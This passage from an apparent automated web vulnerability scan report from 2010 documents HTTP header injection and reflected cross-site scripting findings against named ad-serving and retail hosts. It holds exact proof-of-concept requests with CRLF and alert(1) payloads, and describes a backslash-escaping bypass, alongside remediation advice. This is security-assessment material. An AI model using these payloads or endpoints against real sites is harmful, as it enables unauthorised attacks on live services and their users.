HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload 5a9ca%0d%0a0798803c815 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BannerSource.asp HTTP/1.1 Host: bs.serving-sys.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: U=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; A2=f76j9MhU0bH30000820wrLfPRi9Yyx05hQ0000820wsieEn29IrS07ft0000820wrAe38E9IrS07ft0000820wrA; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=05a9ca%0d%0a0798803c815; B2=76Kr0820wrA6Dcf0820wrA7KMi0820wsi7pH.0820wrL; u2=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; E2=05hQ820wsi0bH3820wrL07ftg410rA; C3=0va8820wrL0000001_0m+L820wsi0000004_0uyK820wrA0000001_0t8k820wrA0000200_; u3=1; D3=0m+L01Ty820wsi0va802nr820wrL0t8k005D820wrA0uyK005D820wrA;
The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload cb4b9%0d%0afd494eeed73 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BurstingInteractionsPipe.asp HTTP/1.1 Host: bs.serving-sys.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: U=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; A2=f76j9MhU0bH30000820wrLfPRi9Yyx05hQ0000820wsieEn29IrS07ft0000820wrAe38E9IrS07ft0000820wrA; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=0cb4b9%0d%0afd494eeed73; B2=76Kr0820wrA6Dcf0820wrA7KMi0820wsi7pH.0820wrL; u2=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; E2=05hQ820wsi0bH3820wrL07ftg410rA; C3=0va8820wrL0000001_0m+L820wsi0000004_0uyK820wrA0000001_0t8k820wrA0000200_; u3=1; D3=0m+L01Ty820wsi0va802nr820wrL0t8k005D820wrA0uyK005D820wrA;
The value of the flv request parameter is copied into the Set-Cookie response header. The payload ef08e%0d%0afacb348d44 was submitted in the flv parameter. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BurstingInteractionsPipe.asp?interactionsStr=4144466%7E%7E0%5EebRichFlashPlayed%7E0%7E0%7E1%7E0%7E2%7E0%7E0%5EebAboveTheFold%7E0%7E0%7E1%7E0%7E2%7E0%7E0&OptOut=0&ebRandom=0.28438299894332886&flv=ef08e%0d%0afacb348d44&wmpv=0&res=128 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://www.bbc.co.uk/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=; A2=f76j9MhU0bH30000820wrLfPRi9Yyy05hQ0000820wsieEn29IrS07ft0000820wrAe38E9IrS07ft0000820wrA; B2=76Kr0820wrA7KMi0820wsi6Dcf0820wrA7pH.0820wrL; C3=0va8820wrL0000001_0m+L820wsi0000004_0t8k820wrA0000200_0uyK820wrA0000001_; D3=0m+L01Ty820wsi0va802nr820wrL0t8k005D820wrA0uyK005D820wrA; E2=05hQ820wsi0bH3820wrL07ftg410rA; u2=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; u3=1
The value of the res request parameter is copied into the Set-Cookie response header. The payload 1a8b4%0d%0a9e6f76a5253 was submitted in the res parameter. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BurstingInteractionsPipe.asp?interactionsStr=4144466%7E%7E0%5EebRichFlashPlayed%7E0%7E0%7E1%7E0%7E2%7E0%7E0%5EebAboveTheFold%7E0%7E0%7E1%7E0%7E2%7E0%7E0&OptOut=0&ebRandom=0.28438299894332886&flv=10.1103&wmpv=0&res=1a8b4%0d%0a9e6f76a5253 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://www.bbc.co.uk/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=; A2=f76j9MhU0bH30000820wrLfPRi9Yyy05hQ0000820wsieEn29IrS07ft0000820wrAe38E9IrS07ft0000820wrA; B2=76Kr0820wrA7KMi0820wsi6Dcf0820wrA7pH.0820wrL; C3=0va8820wrL0000001_0m+L820wsi0000004_0t8k820wrA0000200_0uyK820wrA0000001_; D3=0m+L01Ty820wsi0va802nr820wrL0t8k005D820wrA0uyK005D820wrA; E2=05hQ820wsi0bH3820wrL07ftg410rA; u2=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; u3=1
The value of the wmpv request parameter is copied into the Set-Cookie response header. The payload 30065%0d%0a9e1125bf72b was submitted in the wmpv parameter. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/BurstingInteractionsPipe.asp?interactionsStr=4144466%7E%7E0%5EebRichFlashPlayed%7E0%7E0%7E1%7E0%7E2%7E0%7E0%5EebAboveTheFold%7E0%7E0%7E1%7E0%7E2%7E0%7E0&OptOut=0&ebRandom=0.28438299894332886&flv=10.1103&wmpv=30065%0d%0a9e1125bf72b&res=128 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://www.bbc.co.uk/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=; A2=f76j9MhU0bH30000820wrLfPRi9Yyy05hQ0000820wsieEn29IrS07ft0000820wrAe38E9IrS07ft0000820wrA; B2=76Kr0820wrA7KMi0820wsi6Dcf0820wrA7pH.0820wrL; C3=0va8820wrL0000001_0m+L820wsi0000004_0t8k820wrA0000200_0uyK820wrA0000001_; D3=0m+L01Ty820wsi0va802nr820wrL0t8k005D820wrA0uyK005D820wrA; E2=05hQ820wsi0bH3820wrL07ftg410rA; u2=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; u3=1
The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload 41f45%0d%0a1530027748b was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.
Request
GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2026514&PluID=0&w=300&h=600&ord=943421&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/t%3B225422721%3B0-0%3B0%3B19196799%3B4307-300/250%3B39655019/39672806/1%3B%3B%7Eokv%3D%3Bslot%3Dmpu%3Bsz%3D300x250%2C300x600%3Bsectn%3Dnonnews%3Bctype%3Dindex%3Bnnsec%3Dhomepage_int%3Breferrer%3Dnonbbc%3Breferrer_domain%3D%3Brsi%3D%3Btile%3D2%3B%7Esscs%3D%3f$$\ HTTP/1.1 Host: bs.serving-sys.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: U=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; A2=f76j9MhU0bH30000820wrLfPRi9Yyx05hQ0000820wsieEn29IrS07ft0000820wrAe38E9IrS07ft0000820wrA; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=041f45%0d%0a1530027748b; B2=76Kr0820wrA6Dcf0820wrA7KMi0820wsi7pH.0820wrL; u2=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; E2=05hQ820wsi0bH3820wrL07ftg410rA; C3=0va8820wrL0000001_0m+L820wsi0000004_0uyK820wrA0000001_0t8k820wrA0000200_; u3=1; D3=0m+L01Ty820wsi0va802nr820wrL0t8k005D820wrA0uyK005D820wrA;
The value of REST URL parameter 2 is copied into the Location response header. The payload a79a7%0d%0a4f1b70042a5 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /pixel/a79a7%0d%0a4f1b70042a5/GDERUH7475AOHPINDBKCLD HTTP/1.1 Host: d.adroll.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: __adroll=840abdb4c51252b4087e54006986c408;
Response
HTTP/1.1 302 Moved Temporarily Server: nginx/0.7.61 Date: Thu, 16 Dec 2010 19:51:53 GMT Connection: close Set-Cookie: __adroll=840abdb4c51252b4087e54006986c408; Version=1; Expires=Mon, 09 Sep 2013 07:00:00 GMT; Max-Age=432000000; Path=/ Pragma: no-cache P3P: CP='NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV' Location: http://a.adroll.com/pixel/a79a7 4f1b70042a5/GDERUH7475AOHPINDBKCLD/IL4IOA2AXRH4XK6CMYMKNO.js: Content-Length: 0 Cache-Control: no-store, no-cache, must-revalidate
The value of REST URL parameter 3 is copied into the Location response header. The payload 91fd1%0d%0a893ddeee050 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /pixel/B6UOTQYSFREEFH6B4JOQUF/91fd1%0d%0a893ddeee050 HTTP/1.1 Host: d.adroll.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: __adroll=840abdb4c51252b4087e54006986c408;
Response
HTTP/1.1 302 Moved Temporarily Server: nginx/0.7.61 Date: Thu, 16 Dec 2010 19:51:53 GMT Connection: close Set-Cookie: __adroll=840abdb4c51252b4087e54006986c408; Version=1; Expires=Mon, 09 Sep 2013 07:00:00 GMT; Max-Age=432000000; Path=/ Pragma: no-cache P3P: CP='NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV' Location: http://a.adroll.com/retarget/B6UOTQYSFREEFH6B4JOQUF/91fd1 893ddeee050/pixel.js: Content-Length: 0 Cache-Control: no-store, no-cache, must-revalidate
2. Cross-site scripting (reflected)previous There are 375 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the ref request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2bd01\"%3balert(1)//ea9eccb5d73 was submitted in the ref parameter. This input was echoed as 2bd01\\";alert(1)//ea9eccb5d73 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Default.aspx?ref=fgvprtlsbbc_ros_300x250Slider_SWork19HolTrad2bd01\"%3balert(1)//ea9eccb5d73 HTTP/1.1 Host: accounts.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
The value of the ref request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 813bd\"%3balert(1)//2818af2d22a was submitted in the ref parameter. This input was echoed as 813bd\\";alert(1)//2818af2d22a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ManageOrderHistory.aspx?ref=fgvprtlsbbc_ros_300x250Slider_SWork19HolTrad813bd\"%3balert(1)//2818af2d22a HTTP/1.1 Host: accounts.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
The value of the mpt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d392'-alert(1)-'e082958d457 was submitted in the mpt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/!js/12760-79049-22765-10?mpt=23159215d392'-alert(1)-'e082958d457&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/x%3B233415924%3B0-0%3B0%3B32918551%3B3454-728/90%3B39731796/39749583/1%3B%3B%7Eokv%3D%3Bslot%3Dleaderboard%3Bsz%3D728x90%2C970x66%2C970x90%3Bsectn%3Dnews%3Bctype%3Dindex%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dweatherhiclimate%3Breferrer_domain%3Dnews.bbc.co.uk%3Brsi%3DJ08781_10042%3B%7Esscs%3D%3f\ HTTP/1.1 Host: altfarm.mediaplex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: mojo2=16775:22765/12760:22765/10105:22765; mojo3=16775:22765/12760:22765/13001:22765/10105:22765/14960:16817/9966:1105; svid=711791130703;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=12760:22765/16775:22765/13001:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 5:11:56 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 578 Date: Thu, 16 Dec 2010 20:38:17 GMT
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3bc1b'%3balert(1)//ede101c1d09 was submitted in the mpvc parameter. This input was echoed as 3bc1b';alert(1)//ede101c1d09 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/!js/12760-79049-22765-10?mpt=2315921&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/x%3B233415924%3B0-0%3B0%3B32918551%3B3454-728/90%3B39731796/39749583/1%3B%3B%7Eokv%3D%3Bslot%3Dleaderboard%3Bsz%3D728x90%2C970x66%2C970x90%3Bsectn%3Dnews%3Bctype%3Dindex%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dweatherhiclimate%3Breferrer_domain%3Dnews.bbc.co.uk%3Brsi%3DJ08781_10042%3B%7Esscs%3D%3f\3bc1b'%3balert(1)//ede101c1d09 HTTP/1.1 Host: altfarm.mediaplex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: mojo2=16775:22765/12760:22765/10105:22765; mojo3=16775:22765/12760:22765/13001:22765/10105:22765/14960:16817/9966:1105; svid=711791130703;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=12760:22765/16775:22765/13001:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 6:22:00 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 578 Date: Thu, 16 Dec 2010 20:38:17 GMT
2.5. http://altfarm.mediaplex.com/ad/!js/12760-79049-22765-10 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://altfarm.mediaplex.com
Path:
/ad/!js/12760-79049-22765-10
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24d26'-alert(1)-'d60040780eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/!js/12760-79049-22765-10?24d26'-alert(1)-'d60040780eb=1 HTTP/1.1 Host: altfarm.mediaplex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: mojo2=16775:22765/12760:22765/10105:22765; mojo3=16775:22765/12760:22765/13001:22765/10105:22765/14960:16817/9966:1105; svid=711791130703;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=12760:22765/16775:22765/13001:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 5:36:54 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 223 Date: Thu, 16 Dec 2010 19:51:29 GMT
The value of the mpt request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a352c"><script>alert(1)</script>a383a397c93 was submitted in the mpt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ad/fm/12760-79049-22765-10?mpt=2315921a352c"><script>alert(1)</script>a383a397c93&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/x%3B233415924%3B0-0%3B0%3B32918551%3B3454-728/90%3B39731796/39749583/1%3B%3B%7Eokv%3D%3Bslot%3Dleaderboard%3Bsz%3D728x90%2C970x66%2C970x90%3Bsectn%3Dnews%3Bctype%3Dindex%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dweatherhiclimate%3Breferrer_domain%3Dnews.bbc.co.uk%3Brsi%3DJ08781_10042%3B%7Esscs%3D%3f HTTP/1.1 Host: altfarm.mediaplex.com Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: svid=711791130703; mojo2=10105:22765; mojo3=13001:22765/16775:22765/10105:22765/14960:16817/9966:1105
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=12760:22765/13001:22765/16775:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 5:36:54 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 644 Date: Thu, 16 Dec 2010 20:01:12 GMT
The value of the mpvc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29387"><script>alert(1)</script>9767cfd0c42 was submitted in the mpvc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ad/fm/12760-79049-22765-10?mpt=2315921&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/x%3B233415924%3B0-0%3B0%3B32918551%3B3454-728/90%3B39731796/39749583/1%3B%3B%7Eokv%3D%3Bslot%3Dleaderboard%3Bsz%3D728x90%2C970x66%2C970x90%3Bsectn%3Dnews%3Bctype%3Dindex%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dweatherhiclimate%3Breferrer_domain%3Dnews.bbc.co.uk%3Brsi%3DJ08781_10042%3B%7Esscs%3D%3f29387"><script>alert(1)</script>9767cfd0c42 HTTP/1.1 Host: altfarm.mediaplex.com Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: svid=711791130703; mojo2=10105:22765; mojo3=13001:22765/16775:22765/10105:22765/14960:16817/9966:1105
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=12760:22765/13001:22765/16775:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 6:22:00 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 644 Date: Thu, 16 Dec 2010 20:01:12 GMT
2.8. http://altfarm.mediaplex.com/ad/fm/12760-79049-22765-10 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://altfarm.mediaplex.com
Path:
/ad/fm/12760-79049-22765-10
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18b5c"><script>alert(1)</script>cbff5d453ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ad/fm/12760-79049-22765-10?18b5c"><script>alert(1)</script>cbff5d453ee=1 HTTP/1.1 Host: altfarm.mediaplex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: mojo2=16775:22765/12760:22765/10105:22765; mojo3=16775:22765/12760:22765/13001:22765/10105:22765/14960:16817/9966:1105; svid=711791130703;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=12760:22765/16775:22765/13001:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 5:07:00 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 290 Date: Thu, 16 Dec 2010 19:51:29 GMT
The value of the mpt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b0c55'-alert(1)-'e47cb3a5478 was submitted in the mpt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/13001-83639-22765-1?mpt=2295421b0c55'-alert(1)-'e47cb3a5478&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/a%3B230234285%3B0-0%3B0%3B32918551%3B3454-728/90%3B37780718/37798566/1%3B%3B%7Eokv%3D%3Bslot%3Dleaderboard%3Bsz%3D728x90%2C970x66%2C970x90%3Bsectn%3Dnews%3Bctype%3Dcontent%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dweatherforecast8%3Breferrer_domain%3Dnews.bbc.co.uk%3Brsi%3DJ08781_10042%3B%7Esscs%3D%3f HTTP/1.1 Host: altfarm.mediaplex.com Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/hi/climate Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: svid=711791130703; mojo3=16775:22765/10105:22765/13001:22765/14960:16817/9966:1105; mojo2=10105:22765
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=13001:22765/16775:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 5:36:54 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 602 Date: Thu, 16 Dec 2010 20:01:26 GMT
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da3dc'%3balert(1)//ec89e26a06f was submitted in the mpvc parameter. This input was echoed as da3dc';alert(1)//ec89e26a06f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
